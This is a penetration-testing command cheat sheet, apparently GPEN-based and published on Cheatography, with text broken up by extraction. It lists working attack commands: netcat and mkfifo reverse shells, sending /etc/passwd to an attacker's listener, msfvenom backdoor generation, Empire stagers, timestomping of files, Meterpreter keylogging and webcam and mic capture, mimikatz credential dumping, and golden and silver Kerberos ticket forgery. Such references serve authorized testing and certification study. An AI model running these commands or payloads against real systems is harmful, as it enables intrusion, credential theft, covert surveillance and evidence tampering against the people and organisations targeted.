Pentest command Tools (GPEN Based) Cheat Sheet

by Hey Mensh (HeyMensh) via cheatography.com/150100/cs/32550/

General Reconn

`fping -g x.x.x.0 x.x.x.254 -a`	**Ping** sweep

Linux traceroute Options

`-4`	Forces IPv4
`-6`	Forces IPv6, same as traceroute6 command
`-I`	Uses ICMP echo
`-T`	Uses TCP SYN
`-f <fi rst - _tt l>`	Starts from the hop specified instead of 1
`-g <ga tew ay>`	Routes packets through the gateway specified instead of the default
`-m <ma x_t - tls>`	Specifies the maximum number of hops; default is 30
`-n`	Specifies not to resolve IP address to hostnames
`-w <wa it>`	Specifies the wait time, which can be in seconds or relative to the reply time between hops
`-p <po rt>`	Specifies the port

DNS Query

nslookup

`nslookup -norecurse -type=A google.com DNS_SR -VR_IP`	DNS Snooping | nonrecursive query
`server [serve rIPaddr or name]`	use specific server
`set type=any`	set DNS record type
`ls -d [targe t_d omain]`	Perform a zone transfer of all records for a given domain

DNS Query (cont)

`ls -d [targe t__ domain] [> filename]`	Store zone transfer output in a file
`view [filename]`	view file

dig

`dig @[name server] [domain name] [record type]`	dig comand syntax
`dig +nocom ments @192.1 -68.1.50 lab.local -t AXFR`	test if allows anonymous zone transfers
set norecurse	no recursive query, RD=0

Netcat

Flags

`-l`	Listen mode (default is client)
`-L`	Listen harder (Windows only) — Make a persistent listener
`-u`	UDP mode (defaultis TCP)
`-p`	Local port (In listen mode, this is port listened connections on. In client mode, this is source port for packets sent.)
`-e <fi - len - ame>`	Program to execute after connection occurs
`-n`	Don't resolve names
`-z`	Zero—I/O mode: Don't send any data, just emit packets
`-w[N]`	Timeout for connects, waits for N seconds
`-v`	Be verbose, printing when a connectionis made

By **Hey Mensh** (HeyMensh)
cheatography.com/heymensh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.

Pentest command Tools (GPEN Based) Cheat Sheet

by Hey Mensh (HeyMensh) via cheatography.com/150100/cs/32550/

Netcat (cont)

`nc -e`	executes a command upon connection
`-vv`	Be verbose, printing when connections are made, dropped, and so on

General

`nc -lvnp XX`	Server listen, verbos-ity,noDNS,on port XX

SHELLS

`nc IP PORT -e /bin/bash`	Client reverse shell
`rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f |/b in/sh -i 2>&1|nc $RHOST $RPORT >/tmp/f`	netcat -e alternative example

On target:

```
mknod backpipe p
```

```
nc --1 -p [allow ed_ inb oun d_port] 0<b ackpipe | nc 127.0.0.1 22 1>b ackpipe
```

Attackers machine to connect:

```
ssh login_ nam e@[ tar get mac hine] -p [allow -ed_ inb oun d_port]
```

A really good explanation for this is on 560.3 book, P 152

Send Files

`nc -l -p 8080 > filename`	setup listener and output file
`nc -w 3 attackerIP 8080 < /etc/p asswd`	sends file to netcat listener with 3 secs timeout

Scan ports

`nc -v -n IP port`	test 1 port
`nc -v -w 2 -z IP_Address port_range`	port range
`echo " " | nc -v -n —w1 [targetIP] [port— range]`	a port scanner that harvests banners

Other Uses

Netcat (cont)

`while (true); do no -vv -z -w3 [targe -b_IP] [targe t_port] > /dev/null && echo -e " \x0 7"; sleep 1; done`	Service-is-alive heartbeat
`while \`nc —vv -z —w3 [targe t_IP] [targe t_port] > /dev/null\` ;do echo " -Service is ok"; sleep 1; done; echo " -Service is dead"; echo —e " \x0 7"`	Service-Is-Dead Notifi-cation

alternative

`nc -n -v -l -p 2222 < /tmp/w ina uth.pcap`	Setup listener that will send the file
`nc.exe -n -v -w3 [YourL inu xIP addr] 2222 >C: \fo lde r\w ina uth.pcap`	Client to capture and save the file

TCPDUMP | Monitoring

General

`tcpdump -nnv -i eth0`	start capturing traffic
`-n`	Use numbers instead of names for machines
`-nn`	Use numbers for machines and ports
`-i`	Sniff on a particular interface (—D lists interf-aces)
`-v`	Be verbose
`-w`	Dump packets to a file (use —r to read file later)
`-x`	Print hex
`-X`	Print hex and ASCII
`-A`	Print ASCII
`s [snaplen]`	Sniff this many bytes from each frame, instead of the defaul

TCPDUMP | Monitoring (cont)

Protocol:

```
ether, ip, ip6 , arp, rarp, tcp, udp: protocol type
```

Type:

`host [host]`	Only give me packets to or from that host
`net [network]`	Only packets for a given network
`port [portnum]`	Only packets for that port
`portrange [start – end]`	Only packets in that range of ports

Direction:

`src`	Only give me packets from that host or port
`dst`	Only give me packets to that host

Use `and` / `or` to combine these together

Wrap in parentheses to group elements together

Hashcat

`hashcat -m 1800 -a 0 -o found1.txt crack1.hash 500_pa - ssw ord s.txt`	crack **Linux SHA512** password with dict
`hashcat --force -m 13100 -a 0 lab3.h ashcat /path/ to/ Dic - t.txt --show`	Crack **Kerberos Service Ticket** for account password

PowerSploit/PowerView

`Invoke - Ke rbe - roast`	Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes

Metasploit

Create Handler listener

```
use exploi t/m ult i/h andler
```

```
set payload window s/x 64/ met erp ret er/ rev - ers e_https OR window s/m ete rpr ete r/r eve - rse_tcp
```

```
set lhost AttackerIP
```

Metasploit (cont)

```
set lport 443
```

`exploit -j -z`	Run in ackground

PS Session with valid creds

```
use auxili ary /ad min /sm b/p sex ec_ command
```

```
set smbuser user
```

```
set rhost victimIP
```

```
set smbpass P4$$
```

```
set command " ipc onfig or any comman d"
```

```
run
```

Create backdoor - recognized by Defender :(

```
msfvenom -p window s/s hel l/r eve rse_tcp LHOST= [Attac kerIP] LPORT=8080 -f exe > /tmp/f ile.exe
```

```
msfvenom -p window s/x 64/ met erp ret er_ rev - ers e_https LHOST= Att ackerIP LPORT=443 -f exe -o pwned.exe
```

Others

`sessions -l`	get a list of sessions
`sessions -i [N]`	interact (-i) with session number [N]
`press CTRL-Z`	Background session
`jobs`	get background jobs
`db_import /path/ to/ fil - e/n map.xml`	Import scans from nmap
`hosts -m " Windows 10" 192.16 8.1.10`	Add comment to host
`services -u -p 135,445`	Show UP hosts with Lports 135,445
`sessions -h`	list help for sessions command
`sessions -K`	kill a session

Pentest command Tools (GPEN Based) Cheat Sheet

by Hey Mensh (HeyMensh) via cheatography.com/150100/cs/32550/

Empire

set up an Empire HTTP listener	
`usestager window s/l aun che r_bat`	
`set Listener http`	
`execute`	
`General`	
`list agents`	
`interact AGENTID`	chose an agent
`download C:\Use rs - \ali ce \Des kto p\s - ome.txt`	transfer file from agentPC
Timestomping	
`upload /tmp`	upload content from /tmp to actual session directory
`usemodule manage men - t/t ime stomp`	load timestomp module
`set ALL 03/02/2020 5:28 pm`	define time to be set in all datetime file properties
`set FilePath bank_l ogi - n_i nfo rma tio n.txt`	set target file to be tampered
`execute`	run module
Others	
`/opt/E mpi re- mas - ter /do wnl oads/`	Empire Download's location
`sell powershell Get-Ch - ildItem`	Run powershell command
General	
?	Get command suggestions
searchmodule privesc	search for modules
configure a listener	
listeners	getting a list of our listeners
options	options we have for our listeners

Empire (cont)

set StagingKey [Some_Secret_Value]	configure a custom staging key for encrypting communications
set DefaultDelay 1	time between callbacks from our agent
execute	launch listener
list	check out our listene
deploy an agent	
usestager	create and deploy an agent | [space][TAB-TAB] To see available stagers
usestager 1aunch-er_bat	select stager
info	get info for actual stager

MSFDB - Metasploit Database

Most useful database commands	
`db_connect [conne - ct_ - string]`	Connects to a database
`db_dis - connect`	Disconnects from database
`db_driver`	Selects the database type
`db_status`	Displays the status of the database
`db_export`	Exports database contents into a file, either xml (with hosts,ports, vulnerabilities, and more) or pwdump (with pilfered credentials)
`hosts`	Get list of hosts disvcovered
`vulns`	Get list of vulns that were found in scanned hosts
`services`	Get list of services running in gained hosts
`hosts -- add [host]`	manually add hosts

MSFDB - Metasploit Database (cont)

`services --add -p [port] -r [proto] -s [name] [hostl ,ho - st2 ,...]`	manually add services running in hosts
`notes --add -t [type] -n '[note _text]' [hostl ,ho st2 ,...]`	manually add notes to a host
If you delete a host, any services and vulns corresponding to that host_id will also disappear	
`db_nmap --sT 10.10.1 - 0.10 --pack et— trace`	invoke Nmap directly from the msfconsole
`db_import [filename]`	import data | automatically recognizes the file type like Nmap xml, Amap, Nexpose, Qualys, Nessus
`hosts -S linux`	searching for any hosts associated with linux, -S works for other items (vulns) as well
`hosts -S linux -R`	set result as RHOTS variable value
`vulns -p 445`	Look for vulnerabilities based on port number

Veil-Evasion

Start Veil-Evasion

```
cd /opt/V eil -Ev asion || /usr/s har e/veil
```

```
./Veil -Ev asion .py
```

General

`list`	get a list of all the different payloads that the tool can generate
`info powers hel l/m - ete rpr ete r/r ev_ - https`	et more information about any of the payloads

Veil-Evasion (cont)

`clean`	Clean out any leftover cruft from previous use of Veil-Evasion,

Generate payload

`use info powers hel - l/m ete rpr - ete r/r ev_ - https`	select the payload you want to generate
`options`	list options for actual item
`generate`	create the payload file

Generated files

`.bat`	This is the payload itself
`.rc`	This is the Metasploit configuration file (also known as a handler file) for a multi/handler waiting for a connection from our payload.
`exit`	exit Veil-Evasion
`/usr/s har - e/v eil -ou - tpu t/s ource`	Veil-Evasion output directory

traceroute

Options

`-f [N]`	Set the initial TI'L for the first packet
`-g [hostlist]`	Specify a loose source route (8 maximum hops)
`-I`	Use ICMP Echo Request instead of UDP
`-T`	Use TCP SYN instead of UDP (very useful!),with default dest port 80
`-m [N]`	Set the maximum number of hops
`-n`	Print numbers instead of names
`-p [port]`	port
	For UDP, set the base destination UDP port and increment

traceroute (cont)

	For TCP, set the fixed TCP destination port to use, defaulting to port 80 (no incrementing)
`-w [N]`	Wait for N seconds before giving up and writing * (default is 5)
`-4`	Force use of IPv4 (by default, chooses 4 or 6 based on dest addr)
`-6`	Force use of IPv6

John the Ripper

General

john.pot file	cracked password store
john.rec file	stores john's current status
john --restore	picks up Where it left off based on the contents of the john.rec file
john --test	Check Speed Of SyStem
john hash.txt	run john against hash.txt file
`john --show [passw ord -_file]`	compare which passwords John has already cracked froma given password file against itsjohn.pot file

Cracking LANMAN Hashes

`john /tmp/s -am.txt`	By default, John will focus on the LANMAN hashes.

Cracking Linux Passwords

`cp /etc/p -asswd /tmp/p ass -wd_copy`	copy passwd file to your working directory
`cp /etc/s -hadow /tmp/s had -ow_copy`	copy shadow file to your working directory

John the Ripper (cont)

`./unshadow passwd _copy shadow _copy > combin ed.txt`	Use the `unshadow` script to combine account info from /etc/passwdwith password information from /etc/shadow
john combined. txt	Run John against the combined file
cat ~/.john/john.pot	Look at the Results in john.pot file

pw-inspector (Password Inspector)

-i	input file
-o	output file
-m [n]	the minimum number of characters to use for a password is n
-M [N]	Remove all words longer than N characters
-c [count]	how many password criteria a given word must meet to be included in the list.
-l	The password must contain at least one lowercase character.
-u	The Password must contain at least one uppercase character. (To specify a mixed case requirement, configure —c 2 -l —u.)
-n	The password must contain at least one number
-p	he password must contain at least one printable character that is neither alphabetic nor numeric, whichincludes !@#$%"&*().
-s	The password must include characters not included in the other lists (such as nonprintable ASCII characters)

Pentest command Tools (GPEN Based) Cheat Sheet

by Hey Mensh (HeyMensh) via cheatography.com/150100/cs/32550/

Meterpreter

Basic commands	
`? / help`	Display a help menu
`exit / quit`	Quit the Meterpreter
`sysinfo`	Show name, OS type
`shutdown / reboot`	Self—explanatory
`reg`	read or write to the Registry
File System Commands	
`cd`	Navigate directory structure
`lcd`	Change local directories on attacker machine
`pwd / getwd`	Show the current working directory
`ls`	List the directory contents, even 4 Windows
`cat`	Display a file's contents
`download / upload`	Move a file to or from the machine
`mkdir / rmdir`	Make or remove directories
`edit`	Edit a file using default editor
Process Commands	560.3 Page 92
`getpid`	Returns the process ID that Meterpreter is running in
`getuid`	Returns the user ID that the Meterpreter is running with
`ps || ps -S notepa d.exe`	Process list
`kill`	Terminate a process
`execute -f cmd.exe -c -H`	Runs a given program channelized (-c) and hide proccess window (-H)
`migrate [desti - nat ion _pr oce - ss_ID]`	Jumps to a given destination process ID:

Meterpreter (cont)

	*Target process must have the same or lesser privileges
	*May be a more stable process
	*When inside the process, can access any files that it has a lock on
Network Commands	
`ipconfig`	show network config
`route`	Displays routing table, adds/deletes routes
`portfwd add -l 1111 -p 22 -r Target2`	SANS 560.3 Exploitation Page 67 for better understanding
On-target Machine commands	
`screenshot -p [file.jpg]`	SC
`idletime`	Show how long the user at the console has been idle
`uictl [enabl - e/d isable] [keybo - ard /mouse]`	Turn on or off user input devices
Webcam and Mic Commands	
`webcam __list`	Lists installed webcams
`webcam _snap`	Snaps a single frame from the webcam as a JPEG: -Can specify JPEG image quality from 1 to 100, with a default of 50
`record_mic`	Records audio for N seconds (—d N) and stores in a wav filein the Metasploit .msf4 directory by default
Make sure you get written permission before activating either feature	
Keystroke Logger	

By **Hey Mensh** (HeyMensh)
cheatography.com/heymensh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.

Meterpreter (cont)

keysca n_start	poll every 30 milliseconds for keystrokes entered into the system
keysca n_dump	flushes 1 Megabyte of buffer keystrokes captured to attacker's Meterpreter Screen
keysca n_stop	tells the Meterpreter to stop gathering all keystrokes

Pivoting Using Metasploit's Route Command

```
use [exploit1]
set RHOST [victim1]
set PAYLOAD window s/m ete rpr ete r/r eve rse_tcp
exploit
```

CTRL-Z	background session... **will display meterpreter sid**
route add [victi - m2_ subnet] [netmask] [Sid]	direct any of its packets for a given target machine or subnet through that Meterpreter session

```
use [exploit2]
set RHOST [victim2]
set PAYLOAD [payloadZ]
exploit
```

Do not confuse the Metasploit (msf) route command with the Meterpreter route command. The latter is used to manage the routing tables on a target box that has been compromised using the Meterpreter payload. The msf route command is used to direct all traffic for a given target subnet from the attacker's Metasploit machine through a given Meterpreter session on a compromised victim machine to another potential Victim.

Additional Modules

use [modul ename]	load additional modules

Others

Meterpreter (cont)

run schtas ksabuse -c " -[co mma nd1][, com man -d2]..." -t [targetIP]	script that automates Win-sc-htasks task creation
	Uses Meterpreter's process credentials (add -u and -p for other credentials)
load kiwi	oad the mimikatz Kiwi Meterp-reter extension on the target machine
creds_all	grab credentials

GPG

gpg -d -o <Ou tpu tFi leN ame> <En cry - pte dFi leN ame>	decrypt a file

OVER-PASS-THE-HASH

1. Peform the AS-REQ (encrypting timestamp with passw hash) to get an TGT
2. Perform TGS-REQ to KDC to get TGS
3. Use TGS to impersonate passw hash owner and use a service

Golden Ticket ATTACK

Requirements

- KDC LT key (e.g. KRBTGT NTLM hash)
- Domain admin account name
- Domain name
- SID of domain admin account

Commands

```
.\mimikatz kerber os: :golden /admin :AD MIN ACC - OUN TNAME /domai n:D OMA INFQDN /id:AC COU NTRID /sid:D OMA INSID /krbtg t:K RBT GTP ASS WOR DHASH
```

.\mimikatz kerber os::ptt file.txt	create a golden ticket from file with PTT
kerber os::tgt	Get current session ticket details
kerber os: :list /export	Export ticket to a .kirbi file
kerber os::ptt file.kirbi	Load / pass the ticket

Cheatography

Pentest command Tools (GPEN Based) Cheat Sheet

by Hey Mensh (HeyMensh) via cheatography.com/150100/cs/32550/

Silver Ticket ATTACK

Requirements

• /target	target server's FQDN.
• /service	SPN
• /rc4	NTLM hash for the service (computer account or user account)

Steps

whoami	get domain/SID
invoke -Ke rbe roa st.ps1	get SPN and Service user pass hash for cracking
Mimikatz "privi leg e:: debug" "sekur lsa ::l ogo npa ssw ords" exit	get Service password hash w/Mimikatz (if you have access to server hosting Vuln service)
hashcat " " $kr b5t gs$ 6$a cct -$sv c/H OST :po rt$ XXX X…X XX"" dicti.txt hashcat -m 13100 hash.txt dicti.txt	Get unencrypted service password w/hashcat (If we didn't get NTLM hash) and hash it to NTLM
Import -Module DSInte rnals $pwd = Conver To- Sec ure String 'P@$$w0rd' -AsPla inText -Force Conver tTo -NTHash $pwd	Hash cleartext password to NTLM
mimikatz "kerbe ros ::g olden /admin :Im Admin /id:1106 /domai -n:l ab.a ds ecu rit y.org /sid:S -1- 5-2 1-XXXXX /targe t:E XCH ANG -E.l ab.l ocal /rc4:N TLMHash /servi ce: Ser viceSPN /ptt" exit	Forge TGS to auth target SVC

Silver Ticket ATTACK (cont)

misc::cmd ; klist ; use a command to connect to that specific service for example: Find-I nte res tin gFile -Path \\File Ser ver 1.d oma in.c om \S$ \sh -ares\	Auth to local SVC w/creds and TGS | ej: mimikatz

Trolling

Faking RIDs	
1106 is "Anakin"	/id:1159
1159 is "Vader"	/user:-Anakin
Result: User: Anakin | Real Context User: Vader	
/group s:5 12, 513 ,51 8,519 /id:9999 /user:yourmom	lulz

Mimikatz

Command Reference for tickets attacks

/domain	domain's fqdn
/sid	SID of the Domain
/user /admin	username to impersonate
/groups (optional)	group RIDs the user is a member of (the first is the primary group) default: 513,512,520,518,519 for the well-known Administrator's groups
/ticket (optional)	provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use.
/ptt	as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use.

By **Hey Mensh** (HeyMensh)
cheatography.com/heymensh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.

Cheatography

Pentest command Tools (GPEN Based) Cheat Sheet

by Hey Mensh (HeyMensh) via cheatography.com/150100/cs/32550/

Mimikatz (cont)

/id (optional)	user RID. Mimikatz default is 500 (the default Admin account RID).
/start -offset (optional)	the start offset when the ticket is available (generally set to –10 or 0 if this option is used). Mimikatz Default value is 0.
/endin (optional)	ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).
/renewmax (optional)	maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).

Scapy (Packet crafting)

GPEN AIO Book - Lab 3-4: Scapy Introductory

scapy (as root)	starts library
help(f unc tion)	Get help for specific function
p = IP()/T CP( )/"F oo"	define blank packet
ls(p)	show packet info
p.show()	show packet info
summary	show packet info
ls(p[Raw])	view just the data
p[IP].s rc ="ip add -res "	set src address
p[IP].d st ="ip add -res "	set dst address
p[TCP].sp ort ="xx "	set src port
p[TCP].dp ort ="xx "	set dst port
p=IP/T CP/DATA	packet structure

AIO Book - Page 158

Metadata Analysis

./exiftool t/imag es/ Exi -fTo ol.jpg >/r oot /ex if.out	execute exiftool against the ExifTool.jpg
strings —n 8 file.txt	shows strings only eight characters long

Recon-ng comands for whois_pocs

```
recon-ng
market place install all ; exit
workspaces create demo
modules load recon/ dom ain s-c ont act s/w hoi -s_pocs
options set SOURCE exampl e.com
run
show contacts
```

Cron

crontab -l	list job entries
crontab -e	edit job entries

By **Hey Mensh** (HeyMensh)
cheatography.com/heymensh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.